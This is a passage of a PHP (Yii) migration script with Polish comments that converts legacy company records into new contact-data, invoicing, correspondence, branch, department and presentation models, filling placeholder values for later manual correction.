                $modelUser->referrer = mb_substr($company['polecil'], 0, 60);
            }
        }
        
        //@todo na czas importu wyłączyć behaviorsy modelu common\models\Users
        $timeCreated_1 = strtotime($company['data_rejestracji']);
        $timeCreated_2 = strtotime($company['cd']);
        if((bool)$timeCreated_1) {
            $modelUser->created_at = date('Y-m-d H:i:s', $timeCreated_1);
            $modelUser->updated_at = date('Y-m-d H:i:s', $timeCreated_1);
        } elseif((bool)$timeCreated_2) { 
            $modelUser->created_at = date('Y-m-d H:i:s', $timeCreated_2);
            $modelUser->updated_at = date('Y-m-d H:i:s', $timeCreated_2);
        } else {
            $modelUser->created_at = '1970-01-01 00:00:00';
            $modelUser->updated_at = '1970-01-01 00:00:00';
        }
        
        return $modelUser;
    }
    
    private function createModelsUsersContactData($company, $idUser)
    {
        $models = [];
        $email = $phone = null;
        $labelsForContactDataTypes = ContactDataType::getValuesWithLabels();
        
        if(!empty($company['email_user'])) {
            $email = $company['email_user'];
        } elseif(!empty($company['email_firma'])) {
            $email = $company['email_firma'];
        }
        
        if(!empty($email)) {            
            $emailPurposes = [];
            foreach(Emails::$purposesFields as $purposeField) {
                $emailPurposes[$purposeField] = 1;
            }
            $emailPurposes['or_contact_person'] = 0;
            
            $model = new UsersContactData(['scenario' => 'create']);
            $model->id_user = $idUser;
            $model->data_label = ucfirst($labelsForContactDataTypes[ContactDataType::EMAIL]);
            $model->data_value = $email;
            $model->data_type = ContactDataType::EMAIL;
            $model->data_order = 1;
            $model->required = 1;
//            $model->settings = json_encode(['purposes' => $emailPurposes]);
            $model->settings = ['purposes' => $emailPurposes]; //#JSON-hack#
            
            $models[] = $model;
        }
        
        $validatorPhone = new \yii\validators\RegularExpressionValidator(['pattern' => '/^[0-9]{9,12}$/i']);
        if(!empty($company['telefon_user'])) {
            $phoneTemp = !empty($company['kierunek_telefon_user']) ? $company['kierunek_telefon_user'].$company['telefon_user'] : $company['telefon_user'];
            $phoneTemp = preg_replace('|[^0-9]|i', '', $phoneTemp);
            if($validatorPhone->validate($phoneTemp)) {
                $phone = $phoneTemp;
            }
        }
        if(empty($phone) && !empty($company['komorka_user'])) {
            $phoneTemp = preg_replace('|[^0-9]|i', '', $company['komorka_user']);
            if($validatorPhone->validate($phoneTemp)) {
                $phone = $phoneTemp;
            }
        }
        
        if(!empty($phone)) {
            $model = new UsersContactData(['scenario' => 'create']);
            $model->id_user = $idUser;
            $model->data_label = ucfirst($labelsForContactDataTypes[ContactDataType::MOBILE_PHONE]);
            $model->data_value = $phone;
            $model->data_type = ContactDataType::MOBILE_PHONE;
            $model->data_order = 2;
            $model->required = 1;
            
            $models[] = $model;
        }
        
        return $models;
    }
    
    private function createModelsCompaniesContactData($company, $idCompany)
    {
        $models = [];
        
        $contactDataTypesLabels = ContactDataType::getValuesWithLabels();
        
        $labelForMobilePhone1 = $labelForMobilePhone2 = $labelForMobilePhone3 = $labelForMobilePhone4 = $contactDataTypesLabels[ContactDataType::MOBILE_PHONE];
        if(count(array_filter([$company['komorka_1'], $company['komorka_user'], $company['gsm2'], $company['gsm3']])) > 1) {
            $counter = 1;
            if(!empty($company['komorka_1'])) {
                $labelForMobilePhone1 .= ' '.$counter;
                $counter++;
            }
            if(!empty($company['komorka_user'])) {
                $labelForMobilePhone2 .= ' '.$counter;
                $counter++;
            }
            if(!empty($company['gsm2'])) {
                $labelForMobilePhone3 .= ' '.$counter;
                $counter++;
            }
            if(!empty($company['gsm3'])) {
                $labelForMobilePhone4 .= ' '.$counter;
                $counter++;
            }
        }
        
        $labelForPhone1 = $labelForPhone2 = $labelForPhone3 = $contactDataTypesLabels[ContactDataType::PHONE];
        if(count(array_filter([$company['telefon_1'], $company['tel2'], $company['tel3']])) > 1) {
            $counter = 1;
            if(!empty($company['telefon_1'])) {
                $labelForPhone1 .= ' '.$counter;
                $counter++;
            }
            if(!empty($company['tel2'])) {
                $labelForPhone2 .= ' '.$counter;
                $counter++;
            }
            if(!empty($company['tel3'])) {
                $labelForPhone3 .= ' '.$counter;
                $counter++;
            }
        }
        
        $labelForFax1 = $labelForFax2 = $labelForFax3 = $contactDataTypesLabels[ContactDataType::FAX];
        if(count(array_filter([$company['fax'], $company['fax2'], $company['fax3']])) > 1) {
            $counter = 1;
            if(!empty($company['fax'])) {
                $labelForFax1 .= ' '.$counter;
                $counter++;
            }
            if(!empty($company['fax2'])) {
                $labelForFax2 .= ' '.$counter;
                $counter++;
            }
            if(!empty($company['fax3'])) {
                $labelForFax3 .= ' '.$counter;
                $counter++;
            }
        }
        
        $labelForWWW1 = $labelForWWW2 = $labelForWWW3 = $contactDataTypesLabels[ContactDataType::WWW];
        if(count(array_filter([$company['www'], $company['www2'], $company['www3']])) > 1) {
            $counter = 1;
            if(!empty($company['www'])) {
                $labelForWWW1 .= ' '.$counter;
                $counter++;
            }
            if(!empty($company['www2'])) {
                $labelForWWW2 .= ' '.$counter;
                $counter++;
            }
            if(!empty($company['www3'])) {
                $labelForWWW3 .= ' '.$counter;
                $counter++;
            }
        }
        
        $labelForEmail1 = $labelForEmail2 = $labelForEmail3 = $contactDataTypesLabels[ContactDataType::EMAIL];
        if(count(array_filter([$company['email_firma'], $company['email_firma2'], $company['email_firma3']])) > 1) {
            $counter = 1;
            if(!empty($company['email_firma'])) {
                $labelForEmail1 .= ' '.$counter;
                $counter++;
            }
            if(!empty($company['email_firma2'])) {
                $labelForEmail2 .= ' '.$counter;
                $counter++;
            }
            if(!empty($company['email_firma3'])) {
                $labelForEmail3 .= ' '.$counter;
                $counter++;
            }
        } 
        
        //@todo ustalić czy tak mają wyglądać pola "przeznaczenie" dla adresów email
        $emailPurposes = [];
        foreach(\common\models\Emails::$purposesFields as $purposeField) {
            $emailPurposes[$purposeField] = 1;
        }
        $emailPurposes['or_contact_person'] = 0;
        
        $contactDataFields = [
            ['type' => ContactDataType::PHONE, 'value' => !empty($company['kierunek_1']) ? $company['kierunek_1'].$company['telefon_1'] : $company['telefon_1'], 'checkValue' => $company['telefon_1'], 'label' => $labelForPhone1],
            ['type' => ContactDataType::PHONE, 'value' => $company['tel2'], 'label' => $labelForPhone2],
            ['type' => ContactDataType::PHONE, 'value' => $company['tel3'], 'label' => $labelForPhone3],
            ['type' => ContactDataType::MOBILE_PHONE, 'value' => $company['komorka_1'], 'label' => $labelForMobilePhone1],
            ['type' => ContactDataType::MOBILE_PHONE, 'value' => $company['gsm2'], 'label' => $labelForMobilePhone3],
            ['type' => ContactDataType::MOBILE_PHONE, 'value' => $company['gsm3'], 'label' => $labelForMobilePhone4],
            ['type' => ContactDataType::FAX, 'value' => !empty($company['kierunek_fax']) ? $company['kierunek_fax'].$company['fax'] : $company['fax'], 'checkValue' => $company['fax'], 'label' => $labelForFax1],
            ['type' => ContactDataType::FAX, 'value' => $company['fax2'], 'label' => $labelForFax2],
            ['type' => ContactDataType::FAX, 'value' => $company['fax2'], 'label' => $labelForFax3],
            ['type' => ContactDataType::MOBILE_PHONE, 'value' => $company['komorka_user'], 'label' => $labelForMobilePhone2],
            ['type' => ContactDataType::EMAIL, 'value' => $company['email_firma'], 'label' => $labelForEmail1, 'purposes' => $emailPurposes],
            ['type' => ContactDataType::EMAIL, 'value' => $company['email_firma2'], 'label' => $labelForEmail2, 'purposes' => $emailPurposes],
            ['type' => ContactDataType::EMAIL, 'value' => $company['email_firma3'], 'label' => $labelForEmail3, 'purposes' => $emailPurposes],
            ['type' => ContactDataType::SKYPE, 'value' => $company['skype']],
            ['type' => ContactDataType::GG, 'value' => $company['gg']],
            ['type' => ContactDataType::WWW, 'value' => $company['www'], 'label' => $labelForWWW1],
            ['type' => ContactDataType::WWW, 'value' => $company['www2'], 'label' => $labelForWWW2],
            ['type' => ContactDataType::WWW, 'value' => $company['www3'], 'label' => $labelForWWW3],
        ];            
        $contacDataFieldOrder = 1;            
        foreach($contactDataFields as $contactDataField) {
            $checkValue = isset($contactDataField['checkValue']) ? $contactDataField['checkValue'] : $contactDataField['value'];            
            if(empty($checkValue) || (preg_match('|[a-zA-Z0-9]+|i', $checkValue) !== 1)) {
                continue;
            }
            
            if($contactDataField['type'] === ContactDataType::WWW) {
                $contactDataField['value'] = $this->fixUrl($contactDataField['value']);
            }
            
            $model = new CompaniesContactData(['scenario' => 'create']);
            $model->id_company = $idCompany;
            $model->data_value = $contactDataField['value'];
            $model->data_label = (isset($contactDataField['label'])) ? $contactDataField['label'] : $contactDataTypesLabels[$contactDataField['type']];
            $model->data_type = $contactDataField['type'];
            $model->data_order = $contacDataFieldOrder;
            $model->required = 0; //@todo ustalić, dla których pól ustawiać tutaj wartość 1

            if(!empty($contactDataField['purposes'])) {
//                $model->settings = json_encode(['purposes' => $contactDataField['purposes']]); 
                $model->settings = ['purposes' => $contactDataField['purposes']]; //#JSON-hack#
            }

            $models[] = $model;                
            $contacDataFieldOrder++; 
        }
        
        return $models;
    }
    
    private function createModelCompaniesInvoicingData($company, $idCompany)
    {
        if(empty($company['invoicing_data'])) {
            return null;
        }
        
        $data = $company['invoicing_data'];
        
        $model = new CompaniesInvoicingData(['scenario' => 'create']); 
        $model->id_company = $idCompany;
        
        if(empty($this->foreignCompanies[intval($company['id_user'])])) {
        
            //czasem nie ma tutaj oczywistych danych, ale jest NIP, informacja o typie faktury itd. więc trzeba te informacje zachować
            //zakładamy wtedy, że dane fakturowe są identyczne z rejestracyjnymi        
            if(empty($data['nazwa']) && !empty($company['nazwa'])) {
                $data['nazwa'] = $company['nazwa'];
            }
            if(empty($data['adres']) && empty($data['nr_budynku']) && empty($data['nr_lokalu'])) {            
                //czasem, zwłaszcza przy import_firm2 zdarza się sytuacja, gdzie firma nic nie ma w polu ulica itd. - jest zbita miejscowość z numerem domu/lokalu
                if(!empty($company['adres'])) {
                    $data['adres'] = $company['adres'];
                    $data['nr_budynku'] = $company['nr_budynku'];
                    $data['nr_lokalu'] = $company['nr_lokalu'];
                } elseif(!empty($data['miejscowosc'])) { //prawdopodobnie w polu "miejscowosc" siedzi coś w stylu "Chlebowo 16", czyli miejscowość i nazwa ulicy w jednym oraz numer domu
                    $data['adres'] = $data['miejscowosc'];
                    $matches = [];
                    preg_match('/([0-9])/', $data['miejscowosc'], $matches, PREG_OFFSET_CAPTURE);
                    if(isset($matches[1][1])) {
                        $data['miejscowosc'] = trim(mb_substr($data['miejscowosc'], 0, $matches[1][1]));
                    } 
                }
            } 
            if(empty($data['miejscowosc']) && empty($data['kod_1']) && empty($data['kod_2'])) {
                $data['miejscowosc'] = $company['miejscowosc'];
                $data['kod_1'] = $company['kod_1'];
                $data['kod_2'] = $company['kod_2'];
            } 

            if(in_array(mb_strtolower(mb_substr($data['adres'], 0, 3)), ['al.', 'ul.', 'os.'])) {
                $data['adres'] = trim(mb_substr($data['adres'], 3));
            }

            if(empty($data['adres'])) {    
                $data['adres'] = 'BRAK'; //@todo proteza, po której trzeba będzie wyszukać firmy i ręcznie poprawić
            }        

            $model->name = !empty($data['nazwa']) ? $data['nazwa'] : null;             
            $model->id_country = isset($this->countriesMap[$data['kraj']]) ? $this->countriesMap[$data['kraj']] : 'PL';
            $model->address_cont = null;

            if(empty($data['nr_budynku'])) {
                $matches = [];
                if(!empty($data['adres']) && preg_match('@(.{0,5}[^0-9]*)\s([a-zA-Z]?[0-9]+.*)@', $data['adres'], $matches, 0) === 1) {
                    $model->street = trim($matches[1]);
                    $model->building_number = trim($matches[2]);
                    $model->apartment_number = !empty($data['nr_lokalu']) ? $data['nr_lokalu'] : null;
                } else {
                    //@todo ustalić czy w ogóle takie coś odwalamy...
                    $model->street = trim($data['adres']);
                    $model->building_number = '000'; //@todo proteza, po której trzeba będzie wyszukać firmy i ręcznie poprawić
                    $model->apartment_number = null;
                }
            } else {
                $model->street = !empty($data['adres']) ? $data['adres'] : null;
                $model->building_number = $data['nr_budynku'];
                $model->apartment_number = !empty($data['nr_lokalu']) ? $data['nr_lokalu'] : null;
            }        

            if(mb_strlen($model->building_number) > 15) {
                $model->building_number = str_replace(" ", "", $model->building_number);
                if(mb_strlen($model->building_number) > 15) {
                    $model->building_number = mb_substr($model->building_number, 0, 15);
                    if(empty($model->apartment_number)) {
                        $model->apartment_number = mb_substr($model->building_number, 14, 10);
                    }
                    $model->address_cont = $data['adres'];
                }
            }

            if(!empty($data['kod_1']) && !empty($data['kod_2'])) {
                $postcode = $data['kod_1'].'-'.$data['kod_2'];
            } elseif(!empty($data['kod_swiat'])) {
                $postcode = $data['kod_swiat'];
            } else {
                $postcode = '99-999'; //@todo proteza, po której będziemy te firmy wyszukiwać i ręcznie poprawiać
            }
            $model->postcode = $postcode;
            $model->locality = !empty($data['miejscowosc']) ? $data['miejscowosc'] : null;
        
        } else {
            $foreignCompanyData = !empty($this->foreignCompanies[intval($company['id_user'])][1]) ? $this->foreignCompanies[intval($company['id_user'])][1] : $this->foreignCompanies[intval($company['id_user'])][0];
            
            $model->name = $foreignCompanyData['name'];
            $model->id_country = $foreignCompanyData['id_country'];
            $model->locality = $foreignCompanyData['locality'];
            $model->postcode = $foreignCompanyData['postcode'];
            $model->street = $foreignCompanyData['street'];
            $model->building_number = $foreignCompanyData['building_number'];
            $model->apartment_number = !empty($foreignCompanyData['apartment_number']) ? $foreignCompanyData['apartment_number'] : null;
        }
        
        
        $model->tax_id = !empty($data['nip']) ? $data['nip'] : '0123456789'; //@todo proteza, po której będziemy te firmy wyszukiwać i ręcznie poprawiać
        $model->currency = !empty($data['waluta']) ? $data['waluta'] : 'PLN';
        
        $model->invoice_type = isset($this->invoicesTypesMap[mb_strtolower($data['faktura_typ'])]) ? $this->invoicesTypesMap[mb_strtolower($data['faktura_typ'])] : InvoiceType::NATIONAL;        
//        if(strtolower($data['faktura_typ']) === 'pl') {
//            $model->invoice_type = InvoiceType::NATIONAL;
//        } elseif(strtolower($data['faktura_typ']) === 'eu') {
//            $model->invoice_type = InvoiceType::EUROPEAN;
//        } elseif(strtolower($data['faktura_typ']) === 'noeu') {
//            $model->invoice_type = InvoiceType::NON_EU;
//        } else {
//            $model->invoice_type = InvoiceType::NATIONAL;
//        }
        $model->or_main = 1;
        
        return $model;
    }
    
    private function createModelCompaniesCorrespondenceData($company, $idCompany)
    {
        if(empty($company['correspondence_data'])) {
            return null;
        }
        
        $data = $company['correspondence_data'];
        
        $model = new CompaniesCorrespondenceData(['scenario' => 'create']);
        $model->id_company = $idCompany;
        
        if(empty($this->foreignCompanies[intval($company['id_user'])])) {
        
            if(empty($data['adres']) && empty($data['nr_budynku']) && empty($data['nr_lokalu'])) {            
                //czasem, zwłaszcza przy import_firm2 zdarza się sytuacja, gdzie firma nic nie ma w polu ulica itd. - jest zbita miejscowość z numerem domu/lokalu
                if(!empty($company['adres'])) {
                    $data['adres'] = $company['adres'];
                    $data['nr_budynku'] = $company['nr_budynku'];
                    $data['nr_lokalu'] = $company['nr_lokalu'];
                } elseif(!empty($data['miejscowosc'])) { //prawdopodobnie w polu "miejscowosc" siedzi coś w stylu "Chlebowo 16", czyli miejscowość i nazwa ulicy w jednym oraz numer domu
                    $data['adres'] = $data['miejscowosc'];
                    $matches = [];
                    preg_match('/([0-9])/', $data['miejscowosc'], $matches, PREG_OFFSET_CAPTURE);
                    if(isset($matches[1][1])) {
                        $data['miejscowosc'] = trim(substr($data['miejscowosc'], 0, $matches[1][1]));
                    } 
                }
            } 

            if(empty($data['miejscowosc']) && empty($data['kod_1']) && empty($data['kod_2'])) {
                $data['miejscowosc'] = $company['miejscowosc'];
                $data['kod_1'] = $company['kod_1'];
                $data['kod_2'] = $company['kod_2'];
            } 

            if(in_array(mb_strtolower(mb_substr($data['adres'], 0, 3)), ['al.', 'ul.', 'os.'])) {
                $data['adres'] = trim(mb_substr($data['adres'], 3));
            }

            if(empty($data['adres'])) {
                $data['adres'] = 'BRAK'; //@todo proteza, po której trzeba będzie wyszukać firmy i ręcznie poprawić
            }  
            
            $model->id_country = 'PL'; //@todo ustalić co z tym zrobić - brak spójnych danych, na podstawie których mógłbym cokolwiek wyznaczyć
            $model->name = !empty($data['nazwa']) ? $data['nazwa'] : $company['nazwa'];        
            $model->address_cont = null;

            if(empty($data['nr_budynku'])) {
                $matches = [];
                if(!empty($data['adres'])) {
                    if(preg_match('@(.{0,5}[^0-9]*)\s([a-zA-Z]?[0-9]+.*)@', $data['adres'], $matches, 0) === 1) {
                        $model->street = trim($matches[1]);
                        $model->building_number = trim($matches[2]);
                        $model->apartment_number = !empty($data['nr_lokalu']) ? $data['nr_lokalu'] : null;
                    } else {
                        //@todo ustalić czy w ogóle takie coś odwalamy...
                        $model->street = trim($data['adres']);
                        $model->building_number = '000'; //@todo proteza, po której trzeba będzie wyszukać firmy i ręcznie poprawić
                        $model->apartment_number = null;
                    }
                }             
            } else {
                $model->street = $data['adres'];
                $model->building_number = $data['nr_budynku'];
                $model->apartment_number = !empty($data['nr_lokalu']) ? $data['nr_lokalu'] : null;
            }        

            if(mb_strlen($model->building_number) > 15) {
                $model->building_number = str_replace(" ", "", $model->building_number);
                if(mb_strlen($model->building_number) > 15) {
                    $model->building_number = mb_substr($model->building_number, 0, 15);
                    if(empty($model->apartment_number)) {
                        $model->apartment_number = mb_substr($model->building_number, 14, 10);
                    }
                    $model->address_cont = $data['adres'];
                }
            }

            if(!empty($data['kod_1']) && !empty($data['kod_2'])) {
                $postcode = $data['kod_1'].'-'.$data['kod_2'];
            } elseif(!empty($data['kod_swiat'])) {
                $postcode = $data['kod_swiat'];
            } else {
                $postcode = '99-999'; //@todo proteza, po której będziemy te firmy wyszukiwać i ręcznie poprawiać
            }
            $model->postcode = $postcode;
            $model->locality = !empty($data['miejscowosc']) ? $data['miejscowosc'] : null;
        
        } else {
            $foreignCompanyData = !empty($this->foreignCompanies[intval($company['id_user'])][2]) ? $this->foreignCompanies[intval($company['id_user'])][2] : $this->foreignCompanies[intval($company['id_user'])][0];
            
            $model->name = $foreignCompanyData['name'];
            $model->id_country = $foreignCompanyData['id_country'];
            $model->locality = $foreignCompanyData['locality'];
            $model->postcode = $foreignCompanyData['postcode'];
            $model->street = $foreignCompanyData['street'];
            $model->building_number = $foreignCompanyData['building_number'];
            $model->apartment_number = !empty($foreignCompanyData['apartment_number']) ? $foreignCompanyData['apartment_number'] : null;
        }
        
        return $model;
    }
    
    private function createModelCompaniesBranches($data, $idCompany)
    {
        $model = new CompaniesBranches(['scenario' => 'create']);
        $model->id_company = $idCompany;
        $model->name = $data['nazwa'];
        $model->description = !empty($data['opis']) ? $data['opis'] : null;
        $model->address_cont = null;
        if(in_array(mb_strtolower(mb_substr($data['adres'], 0, 3)), ['al.', 'ul.', 'os.'])) {
            $data['adres'] = trim(mb_substr($data['adres'], 3));
        }
        if(empty($data['adres'])) {
            $data['adres'] = 'BRAK'; //@todo proteza, po której trzeba będzie wyszukać firmy i ręcznie poprawić
        }
        if(empty($data['nr_budynku'])) {
            $matches = [];
            if(!empty($data['adres']) && preg_match('@(.{0,5}[^0-9]*)\s([a-zA-Z]?[0-9]+.*)@', $data['adres'], $matches, 0) === 1) {
                $model->street = trim($matches[1]);
                $model->building_number = trim($matches[2]);
                $model->apartment_number = !empty($data['nr_lokalu']) ? $data['nr_lokalu'] : null;
            } else {
                //@todo ustalić czy w ogóle takie coś odwalamy...
                $model->street = trim($data['adres']);
                $model->building_number = '000'; //@todo proteza, po której trzeba będzie wyszukać firmy i ręcznie poprawić
                $model->apartment_number = null;
            }
        } else {
            $model->street = $data['adres'];
            $model->building_number = $data['nr_budynku'];
            $model->apartment_number = !empty($data['nr_lokalu']) ? $data['nr_lokalu'] : null;
        }
        
        if(mb_strlen($model->building_number) > 15) {
            $model->building_number = str_replace(" ", "", $model->building_number);
            if(mb_strlen($model->building_number) > 15) {
                $model->building_number = mb_substr($model->building_number, 0, 15);
                if(empty($model->apartment_number)) {
                    $model->apartment_number = mb_substr($model->building_number, 14, 10);
                }
                $model->address_cont = $data['adres'];
            }
        }
        
        $model->postcode = $data['kod_1'].'-'.$data['kod_2'];
        $model->locality = $data['miejscowosc'];
        $model->region = isset($this->regionsMap[intval($data['wojewodztwo'])]) ? $this->regionsMap[intval($data['wojewodztwo'])] : null;
        $model->id_country = 'PL';
        if(!empty($data['lat']) && !empty($data['lng'])) {
            $model->lat = $data['lat'];
            $model->lng = $data['lng'];
        }
        
        return $model;
    }
    
    private function createModelsCompaniesBranchesContactData($data, $idBranch)
    {
        $models = [];
        
        $contactDataTypesLabels = ContactDataType::getValuesWithLabels();
        
        $labelForPhone1 = $labelForPhone2 = $labelForPhone3 = $contactDataTypesLabels[ContactDataType::PHONE];
        if((!empty($data['telefon_1']) && !empty($data['telefon_2'])) || (!empty($data['telefon_1']) && !empty($data['telefon_3'])) || (!empty($data['telefon_2']) && !empty($data['telefon_3']))) {
            $i = 1;
            foreach(['telefon_1', 'telefon_2', 'telefon_3'] as $key => $value) {
                if(!empty($data[$value])) {
                    $labelVariableName = 'labelForPhone'.($key+1);
                    $$labelVariableName .= ' '.$i;
                    $i++;
                } 
            }
        }          
        $labelForFax1 = $labelForFax2 = $contactDataTypesLabels[ContactDataType::FAX];
        if(!empty($data['fax']) && !empty($data['fax_2'])) {
            $labelForFax1 .= ' 1';
            $labelForFax2 .= ' 2';
        }  
        $labelForEmail1 = $labelForEmail2 = $contactDataTypesLabels[ContactDataType::EMAIL];
        if(!empty($data['email_1']) && !empty($data['email_2'])) {
            $labelForEmail1 .= ' 1';
            $labelForEmail2 .= ' 2';
        }  
        
        //@todo ustalić czy tak mają wyglądać pola "przeznaczenie" dla adresów email
        $emailPurposes = [];
        foreach(\common\models\Emails::$purposesFields as $purposeField) {
            $emailPurposes[$purposeField] = 1;
        }
        $emailPurposes['or_contact_person'] = 0;
        
        //@todo ustalić, czy taką nadajemy kolejność określonym polom
        $contactDataFields = [
            ['type' => ContactDataType::PHONE, 'value' => $data['telefon_1'], 'label' => $labelForPhone1],
            ['type' => ContactDataType::PHONE, 'value' => $data['telefon_2'], 'label' => $labelForPhone2],
            ['type' => ContactDataType::PHONE, 'value' => $data['telefon_3'], 'label' => $labelForPhone3],
            ['type' => ContactDataType::MOBILE_PHONE, 'value' => $data['komorka']],
            ['type' => ContactDataType::FAX, 'value' => $data['fax'], 'label' => $labelForFax1],
            ['type' => ContactDataType::FAX, 'value' => $data['fax_2'], 'label' => $labelForFax2],            
            ['type' => ContactDataType::EMAIL, 'value' => $data['email_1'], 'label' => $labelForEmail1, 'purposes' => $emailPurposes],
            ['type' => ContactDataType::EMAIL, 'value' => $data['email_2'], 'label' => $labelForEmail2, 'purposes' => $emailPurposes],
            ['type' => ContactDataType::WWW, 'value' => $data['www']],
            ['type' => ContactDataType::SKYPE, 'value' => $data['skype']],
            ['type' => ContactDataType::GG, 'value' => $data['gg']]
        ];            
        $contacDataFieldOrder = 1;            
        foreach($contactDataFields as $contactDataField) {
            $checkValue = isset($contactDataField['checkValue']) ? $contactDataField['checkValue'] : $contactDataField['value'];            
            if(empty($checkValue) || (preg_match('|[a-zA-Z0-9]+|i', $checkValue) !== 1)) {
                continue;
            }
            
            if($contactDataField['type'] === ContactDataType::WWW) {
                $contactDataField['value'] = $this->fixUrl($contactDataField['value']);
            }
            
            $model = new CompaniesBranchesContactData(['scenario' => 'create']);
            $model->id_branch = $idBranch;
            $model->data_value = $contactDataField['value'];
            $model->data_label = (isset($contactDataField['label'])) ? $contactDataField['label'] : $contactDataTypesLabels[$contactDataField['type']];
            $model->data_type = $contactDataField['type'];
            $model->data_order = $contacDataFieldOrder;
            $model->required = 0; //@todo ustalić, dla których pól ustawiać tutaj wartość 1

            if(!empty($contactDataField['purposes'])) {
//                $model->settings = json_encode(['purposes' => $contactDataField['purposes']]); 
                $model->settings = ['purposes' => $contactDataField['purposes']]; //#JSON-hack#
            }

            $models[] = $model;                
            $contacDataFieldOrder++; 
        }
        
        return $models;
    }
    
    private function createModelCompaniesDepartments($data, $idCompany)
    {
        $model = new CompaniesDepartments(['scenario' => 'create']);
        $model->id_company = $idCompany;
        $model->id_branch = null;
        $model->name = $data['dzial'];
        $model->description = null;        
        
        return $model;
    }
    
    private function createModelsCompaniesDepartmentsContactData($data, $idDepartment)
    {
        $models = [];
        
        $contactDataTypesLabels = ContactDataType::getValuesWithLabels();
        
        $labelForEmail1 = $labelForEmail2 = $contactDataTypesLabels[ContactDataType::EMAIL];
        if(!empty($data['email_firma2']) && !empty($data['email_firma3'])) {
            $labelForEmail1 .= ' 1';
            $labelForEmail2 .= ' 2';
        }  
        $labelForWWW1 = $labelForWWW2 = $contactDataTypesLabels[ContactDataType::WWW];
        if(!empty($data['www2']) && !empty($data['www3'])) {
            $labelForWWW1 .= ' 1';
            $labelForWWW2 .= ' 2';
        }
        
        $labelForPhone1 = $labelForPhone2 = $contactDataTypesLabels[ContactDataType::PHONE];
        if(!empty($data['tel2']) && !empty($data['tel3'])) {
            $labelForPhone1 .= ' 1';
            $labelForPhone2 .= ' 2';
        }
        
        $labelForFax1 = $labelForFax2 = $contactDataTypesLabels[ContactDataType::FAX];
        if(!empty($data['fax2']) && !empty($data['fax3'])) {
            $labelForFax1 .= ' 1';
            $labelForFax2 .= ' 2';
        }
        
        $labelForMobilePhone1 = $labelForMobilePhone2 = $contactDataTypesLabels[ContactDataType::MOBILE_PHONE];
        if(!empty($data['gsm2']) && !empty($data['gsm3'])) {
            $labelForMobilePhone1 .= ' 1';
            $labelForMobilePhone2 .= ' 2';
        }
          
        //@todo ustalić czy tak mają wyglądać pola "przeznaczenie" dla adresów email
        $emailPurposes = [];
        foreach(\common\models\Emails::$purposesFields as $purposeField) {
            $emailPurposes[$purposeField] = 1;
        }
        $emailPurposes['or_contact_person'] = 0;
        
        //@todo ustalić, czy taką nadajemy kolejność określonym polom
        $contactDataFields = [
            ['type' => ContactDataType::PHONE, 'value' => $data['tel2'], 'label' => $labelForPhone1],
            ['type' => ContactDataType::PHONE, 'value' => $data['tel3'], 'label' => $labelForPhone2],
            ['type' => ContactDataType::MOBILE_PHONE, 'value' => $data['gsm2'], 'label' => $labelForMobilePhone1],
            ['type' => ContactDataType::MOBILE_PHONE, 'value' => $data['gsm2'], 'label' => $labelForMobilePhone2],
            ['type' => ContactDataType::FAX, 'value' => $data['fax2'], 'label' => $labelForFax1],
            ['type' => ContactDataType::FAX, 'value' => $data['fax3'], 'label' => $labelForFax2],            
            ['type' => ContactDataType::EMAIL, 'value' => $data['email_firma2'], 'label' => $labelForEmail1, 'purposes' => $emailPurposes],
            ['type' => ContactDataType::EMAIL, 'value' => $data['email_firma3'], 'label' => $labelForEmail2, 'purposes' => $emailPurposes],
            ['type' => ContactDataType::WWW, 'value' => $data['www2'], 'label' => $labelForWWW1],
            ['type' => ContactDataType::WWW, 'value' => $data['www3'], 'label' => $labelForWWW2],
        ];            
        $contacDataFieldOrder = 1;            
        foreach($contactDataFields as $contactDataField) {         
            if(empty($contactDataField['value']) || (preg_match('|[a-zA-Z0-9]+|i', $contactDataField['value']) !== 1)) {
                continue;
            }
            
            if($contactDataField['type'] === ContactDataType::WWW) {
                $contactDataField['value'] = $this->fixUrl($contactDataField['value']);
            }
            
            $model = new CompaniesDepartmentsContactData(['scenario' => 'create']);
            $model->id_department = $idDepartment;
            $model->data_value = $contactDataField['value'];
            $model->data_label = $contactDataField['label'];
            $model->data_type = $contactDataField['type'];
            $model->data_order = $contacDataFieldOrder;
            $model->required = 0; //@todo ustalić, dla których pól ustawiać tutaj wartość 1

            if(!empty($contactDataField['purposes'])) {
//                $model->settings = json_encode(['purposes' => $contactDataField['purposes']]); 
                $model->settings = ['purposes' => $contactDataField['purposes']]; //#JSON-hack#
            }

            $models[] = $model;                
            $contacDataFieldOrder++;
        }
        
        return $models;
    }
    
    private function createModelCompaniesPresentations($assignedPortal, $idCompany, $idsCompanyContactData = [], $viewsNumber = 0)
    {
        $modelPresentation = new CompaniesPresentations(['scenario' => 'create']);
        $modelPresentation->id_company = $idCompany;
        $modelPresentation->id_portal = $assignedPortal['id_portal'];
        $modelPresentation->id_package = $assignedPortal['pakiet'];
        $modelPresentation->status = intval($assignedPortal['status']) === 1 ? Status::ACTIVE : Status::INACTIVE; 
        $modelPresentation->views_number = !empty($viewsNumber) ? intval($viewsNumber) : 0;
//        $idsCompanyContactDataString = !empty($idsCompanyContactData) ? ',"visible_contact_data_items":["'.implode('","', $idsCompanyContactData).'"]' : '';
//        $modelPresentation->settings = '{"visible_contact_data_fields":["name","short_name","street","address_cont","building_number","apartment_number","postcode","locality","region","id_country"]'.$idsCompanyContactDataString.'}';        

        $settings = [
            "visible_contact_data_fields" => ["name","short_name","street","address_cont","building_number","apartment_number","postcode","locality","region","id_country"],
            "visible_contact_data_items" => !empty($idsCompanyContactData) ? $idsCompanyContactData : []
        ];
        
        $modelPresentation->settings = [
            'visible_contact_data_fields' => ['name', 'short_name', 'street', 'address_cont', 'building_number', 'apartment_number', 'postcode', 'locality', 'region', 'id_country', 'business_registration_number', 'national_court_register_number'],
            'visible_contact_data_items' => $idsCompanyContactData
        ]; //#JSON-hack#        
        
        foreach(['products_limit', 'banners_limit', 'articles_limit', 'branches_limit', 'mailings_limit', 'advertisements_limit', 'top_position_in_companies_categories_tree', 'top_positions_in_products_categories_tree_limit'] as $field) {
            $settings[$field] =  $this->packagesSettings[$assignedPortal['pakiet']][$field];
        }
        
        $modelPresentation->settings = $settings; //#JSON-hack#  
           
        return $modelPresentation;
    }
    
    private function createModelCompaniesPresentationsTabs($presentationTab, $idPresentation)
    {
        $modelPresentationTab = new CompaniesPresentationsTabs(['scenario' => 'create']);
        $modelPresentationTab->id_presentation = $idPresentation;
        $modelPresentationTab->id_tab = $presentationTab['id'];
        $modelPresentationTab->tab_order = $this->tabs[$presentationTab['id']]->tab_order;
